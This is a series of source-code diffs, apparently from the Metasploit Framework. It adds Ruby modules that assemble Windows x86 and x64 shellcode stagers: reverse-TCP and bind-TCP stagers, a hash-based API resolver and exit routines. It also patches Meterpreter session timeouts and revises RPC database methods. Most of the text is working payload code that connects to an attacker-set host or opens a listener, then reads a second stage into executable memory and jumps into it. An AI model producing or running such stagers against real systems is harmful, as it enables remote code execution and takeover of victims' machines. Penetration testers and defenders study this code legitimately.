; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
create_socket:
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
set_address:
push #{retry_count} ; retry counter
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_failure:
dec dword [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# TODO: Rewind the stack, free memory, try again
=begin
if opts[:reliable]
asm << %Q^
reconnect:
^
end
=end
asm << %Q^
connected:
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
^
# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
^
# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
end
asm << %Q^
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter
end
def generate_stageless_x86(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
conf = {
:rdi_offset => offset,
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter
end
end
# Patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext

View File

@ -0,0 +1,220 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
module Msf
###
#
# Complex bindtcp payload generation for Windows ARCH_X86_64
#
###
module Payload::Windows::BindTcp_x64
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'],
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'],
exitfunk: datastore['EXITFUNC'],
close_socket: close_listen_socket,
reliable: true
}
generate_bind_tcp(conf)
end
#
# Generate and compile the stager
#
def generate_bind_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; pop off the address of 'api_call' for calling later.
#{asm_bind_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
# TODO: need help with this from the likes of HD.
space = 277
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
#space += 14
# if the payload doesn't need the listen socket closed then we save space. This is
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
# kicks off (needed for more reliable shells).
space -= 11 unless close_listen_socket
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
bind_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_port}
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 0x0101, &WSAData );
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to bind...
push 16 ;
pop r8 ; length of the sockaddr_in struct (we only set the
; first 8 bytes as the last 8 are unused)
mov rdx, r12 ; set the pointer to sockaddr_in struct
mov rcx, rdi ; socket
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call rbp ; bind( s, &sockaddr_in, 16 );
; perform the call to listen...
xor rdx, rdx ; backlog
mov rcx, rdi ; socket
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call rbp ; listen( s, 0 );
; perform the call to accept...
xor r8, r8 ; we set length for the sockaddr struct to zero
xor rdx, rdx ; we dont set the optional sockaddr param
mov rcx, rdi ; listening socket
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call rbp ; accept( s, 0, 0 );
^
if close_socket
asm << %Q^
; perform the call to closesocket...
mov rcx, rdi ; the listening socket to close
mov rdi, rax ; swap the new connected socket over the listening socket
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call rbp ; closesocket( s );
^
else
asm << %Q^
mov rdi, rax ; swap the new connected socket over the listening socket
^
end
asm << %Q^
; restore RSP so we dont have any alignment issues with the next block...
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
mov rdx, rsp ; set pointer to this buffer
xor r9, r9 ; flags
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, &dwLength, 4, 0 );
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, buffer, length, 0 );
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -0,0 +1,117 @@
# -*- coding: binary -*-
require 'msf/core'
module Msf
###
#
# Basic block_api stubs for Windows ARCH_X86_64 payloads
#
###
module Payload::Windows::BlockApi_x64
def asm_block_api(opts={})
raw = %q^
api_call:
push r9 ; Save the 4th parameter
push r8 ; Save the 3rd parameter
push rdx ; Save the 2nd parameter
push rcx ; Save the 1st parameter
push rsi ; Save RSI
xor rdx, rdx ; Zero rdx
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
mov rdx, [rdx+24] ; Get PEB->Ldr
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push rdx ; Save the current position in the module list for later
push r9 ; Save the current module hash for later
; Proceed to itterate the export address table,
mov rdx, [rdx+32] ; Get this modules base address
mov eax, dword [rdx+60] ; Get PE header
add rax, rdx ; Add the modules base address
cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
jne get_next_mod1 ; if not, proceed to the next module
mov eax, dword [rax+136] ; Get export tables RVA
test rax, rax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add rax, rdx ; Add the modules base address
push rax ; Save the current modules EAT
mov ecx, dword [rax+24] ; Get the number of function names
mov r8d, dword [rax+32] ; Get the rva of the function names
add r8, rdx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the ASCII function name
ror r9d, 13 ; Rotate right our hash value
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop rax ; Restore the current modules EAT
mov r8d, dword [rax+36] ; Get the ordinal table rva
add r8, rdx ; Add the modules base address
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
mov r8d, dword [rax+28] ; Get the function addresses table rva
add r8, rdx ; Add the modules base address
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
add rax, rdx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the drsired function...
finish:
pop r8 ; Clear off the current modules hash
pop r8 ; Clear off the current position in the module list
pop rsi ; Restore RSI
pop rcx ; Restore the 1st parameter
pop rdx ; Restore the 2nd parameter
pop r8 ; Restore the 3rd parameter
pop r9 ; Restore the 4th parameter
pop r10 ; pop off the return address
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
push r10 ; push back the return address
jmp rax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop rax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop r9 ; Pop off the current (now the previous) modules hash
pop rdx ; Restore our position in the module list
mov rdx, [rdx] ; Get the next module
jmp next_mod ; Process this module
^
end
end
end

View File

@ -0,0 +1,84 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows'
module Msf
###
#
# Implements arbitrary exit routines for Windows ARCH_X86_64 payloads
#
###
module Payload::Windows::Exitfunk_x64
def asm_exitfunk(opts={})
asm = "exitfunk:\n"
case opts[:exitfunk]
when 'seh'
asm << %Q^
push 0 ;
pop rcx ; set the exit function parameter
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; SetUnhandledExceptionFilter(0)
push 0 ;
ret ; Return to NULL (crash)
^
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
# automatically generate the right code depending on the selected exit method.
when 'thread'
asm << %Q^
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
add rsp, 40 ; cleanup the default param space on stack
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
; Windows Vista, 2008 or 7...
jne short goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ;
pop rcx ; set the exit function parameter
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );
^
when 'process', nil
asm << %Q^
push 0 ;
pop rcx ; set the exit function parameter
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; ExitProcess(0)
^
when 'sleep'
asm << %Q^
push 300000 ; 300 seconds
pop rcx ; set the sleep function parameter
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; Sleep(30000)
jmp exitfunk ; repeat
^
else
# Do nothing and continue after the end of the shellcode
end
asm
end
end
end

View File

@ -29,17 +29,10 @@ module Payload::Windows::ReflectiveDllInject_x64
],
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'PayloadCompat' =>
{
'Convention' => 'sockrdi'
},
'Stage' =>
{
'Offsets' =>
{
'EXITFUNC' => [ 47, 'V' ]
},
'Payload' => ""
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'Stage' => {
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
'Payload' => ""
}
))
@ -81,6 +74,16 @@ module Payload::Windows::ReflectiveDllInject_x64
return
end
# patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap

View File

@ -0,0 +1,192 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
module Msf
###
#
# Complex reverse_tcp payload generation for Windows ARCH_X86_64
#
###
module Payload::Windows::ReverseTcp_x64
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
#
# Register reverse_tcp specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
# TODO: coming later
# Generate the simple version of this stager if we don't have enough space
#if self.available_space.nil? || required_space > self.available_space
# return generate_reverse_tcp(
# port: datastore['LPORT'],
# host: datastore['LHOST'],
# retry_count: datastore['ReverseConnectRetries'],
# )
#end
conf = {
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['ReverseConnectRetries'],
exitfunk: datastore['EXITFUNC'],
reliable: true
}
generate_reverse_tcp(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_tcp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp
#{asm_reverse_tcp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Reliability adds 10 bytes for recv error checks
space += 10
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_tcp(opts={})
#retry_count = [opts[:retry_count].to_i, 1].max
# TODO: reliable = opts[:reliable]
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
asm = %Q^
reverse_tcp:
; setup the structures we need on the stack...
mov r14, 'ws2_32'
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_host_port}
push r12 ; host, family AF_INET and port
mov r12, rsp ; save pointer to sockaddr struct for connect call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call rbp ; WSAStartup( 0x0101, &WSAData );
; perform the call to WSASocketA...
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to connect...
push 16 ; length of the sockaddr struct
pop r8 ; pop off the third param
mov rdx, r12 ; set second param to pointer to sockaddr struct
mov rcx, rdi ; the socket
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call rbp ; connect( s, &sockaddr, 16 );
; restore RSP so we dont have any alignment issues with the next block...
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
recv:
; Receive the size of the incoming second stage...
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
mov rdx, rsp ; set pointer to this buffer
xor r9, r9 ; flags
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, &dwLength, 4, 0 );
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call rbp ; recv( s, buffer, length, 0 );
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end

View File

@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter_x64
end
def generate_stageless_x64(url = nil)
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
conf = {
:rdi_offset => offset,
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter_x64
end
end
# Patch in the timeout options
timeout_opts = {
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
# if a block is given then call that with the meterpreter dll
# so that custom patching can happen if required
yield dll if block_given?
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter_x64
unless datastore['EXTENSIONS'].nil?
datastore['EXTENSIONS'].split(',').each do |e|
e = e.strip.downcase
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
# append the size, offset to RDI and the payload itself
dll << [ext.length].pack('V') + ext

View File

@ -12,7 +12,7 @@ private
end
def find_workspace(wspace = nil)
if(wspace and wspace != "")
if wspace and wspace != ""
return self.framework.db.find_workspace(wspace) || error(500, "Invalid workspace")
end
self.framework.db.workspace
@ -104,36 +104,58 @@ private
return opts, opts[:workspace]
end
def get_notes(xopts)
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
notes = []
host = self.framework.db.get_host(opts)
return notes if not host
if opts[:proto] && opts[:port]
services = []
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
return ret if nret == nil
services << nret if nret.class == ::Mdm::Service
services |= nret if nret.class == Array
services.each do |s|
nret = nil
if opts[:ntype]
nret = s.notes.find_by_ntype(opts[:ntype])
else
nret = s.notes
end
next if nret == nil
notes << nret if nret.class == ::Mdm::Note
notes |= nret if nret.class == Array
end
else
notes = host.notes
end
notes
}
end
public
# Creates a credential.
# Creates a cracked credential.
#
# @note Despite the fact the method name for this is called "rpc_create_cracked_credential", it
# does not actually call the create_cracked_credential API in metasploit-credential. Instead,
# it calls create_credential.
# @todo This method needs to call create_cracked_credential, not create_credential.
# @param [Hash] xopts Credential options. (See #create_credential Documentation)
# @return [Metasploit::Credential::Core]
# @see https://github.com/rapid7/metasploit-credential/blob/master/lib/metasploit/credential/creation.rb#L107 #create_credential Documentation.
# @see #rpc_create_credential
# @example Here's how you would use this from the client:
# opts = {
# origin_type: :service,
# address: '192.168.1.100',
# port: 445,
# service_name: 'smb',
# protocol: 'tcp',
# module_fullname: 'auxiliary/scanner/smb/smb_login',
# workspace_id: myworkspace_id,
# private_data: 'password1',
# private_type: :password,
# username: 'Administrator'
# username: username,
# password: password,
# core_id: core_id
# }
# rpc.call('db.create_cracked_credential', opts)
def rpc_create_cracked_credential(xopts)
opts = fix_cred_options(xopts)
create_credential(opts)
create_cracked_credential(opts)
end
@ -427,7 +449,7 @@ public
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
vuln = {}
reflist = v.refs.map { |r| r.name }
if(v.service)
if v.service
vuln[:port] = v.service.port
vuln[:proto] = v.service.proto
else
@ -506,7 +528,7 @@ public
wspace = find_workspace(wspace)
ret = {}
ret[:workspace] = []
if(wspace)
if wspace
w = {}
w[:name] = wspace.name
w[:id] = wspace.id
@ -521,7 +543,11 @@ public
# Sets a workspace.
#
# @param [String] wspace Workspace name.
# @raise [Msf::RPC::Exception] 500 Database not loaded.
# @raise [Msf::RPC::ServerException] You might get one of these errors:
# * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create').
# * 500 Database not loaded. Try: rpc.call('console.create')
# * 500 Invalid workspace
# * 404 Workspace not found.
# @return [Hash] A hash indicating whether the action was successful or not. You will get:
# * 'result' [String] A message that says either 'success' or 'failed'
# @example Here's how you would use this from the client:
@ -530,8 +556,8 @@ public
def rpc_set_workspace(wspace)
::ActiveRecord::Base.connection_pool.with_connection {
db_check
workspace = self.framework.db.find_workspace(wspace)
if(workspace)
workspace = find_workspace(wspace)
if workspace
self.framework.db.workspace = workspace
return { 'result' => "success" }
end
@ -555,7 +581,7 @@ public
::ActiveRecord::Base.connection_pool.with_connection {
db_check
# Delete workspace
workspace = self.framework.db.find_workspace(wspace)
workspace = find_workspace(wspace)
if workspace.nil?
error(404, "Workspace not found: #{wspace}")
elsif workspace.default?
@ -587,7 +613,7 @@ public
::ActiveRecord::Base.connection_pool.with_connection {
db_check
wspace = self.framework.db.add_workspace(wspace)
return { 'result' => 'success' } if(wspace)
return { 'result' => 'success' } if wspace
{ 'result' => 'failed' }
}
end
@ -627,7 +653,7 @@ public
ret[:host] = []
opts = fix_options(xopts)
h = self.framework.db.get_host(opts)
if(h)
if h
host = {}
host[:created_at] = h.created_at.to_i
host[:address] = h.address.to_s
@ -676,7 +702,7 @@ public
opts, wspace = init_db_opts_workspace(xopts)
res = self.framework.db.report_host(opts)
return { :result => 'success' } if(res)
return { :result => 'success' } if res
{ :result => 'failed' }
}
end
@ -702,7 +728,7 @@ public
::ActiveRecord::Base.connection_pool.with_connection {
opts, wspace = init_db_opts_workspace(xopts)
res = self.framework.db.report_service(opts)
return { :result => 'success' } if(res)
return { :result => 'success' } if res
{ :result => 'failed' }
}
end
@ -742,16 +768,16 @@ public
services = []
sret = nil
if(host && opts[:proto] && opts[:port])
if host && opts[:proto] && opts[:port]
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
